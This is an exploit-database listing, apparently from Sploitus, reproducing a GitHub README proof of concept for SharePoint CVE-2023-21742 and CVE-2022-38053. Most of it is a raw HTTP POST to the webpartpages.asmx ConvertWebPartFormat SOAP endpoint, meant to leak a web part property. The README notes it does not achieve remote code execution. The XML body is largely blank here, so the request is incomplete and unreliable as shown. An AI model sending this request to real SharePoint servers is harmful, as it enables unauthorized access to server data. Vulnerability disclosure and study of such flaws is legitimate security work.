Sploitus

Exploit for Improper Access Control in Microsoft

CVE-2022-38053CVE-2023-21742

githubexploit · 2023-04-07

Exploit Code

README52 lines
## https://sploitus.com/exploit?id=34D47138-8628-5814-8A2E-E0F92E28F377
# CVE-2023-21742

## PoC

Attention: It's only a PoC to leak the attribute/property, not RCE EXP.

```
POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: splab13
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ConvertWebPartFormat
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Connection: keep-alive
Content-Type: text/xml; charset=utf-8
Content-Length: 1733



      



 
http://webdb.com/aaaa
   
 
      
        
          
          {leak}
          
        
      
      
        
      
     
   
  



 

]]>
```

## Reference

- https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-sharepoint-webpart-property-traversal-cve-2022-38053-cve-2023-21742-bc6931698a5f
- https://nvd.nist.gov/vuln/detail/CVE-2023-21742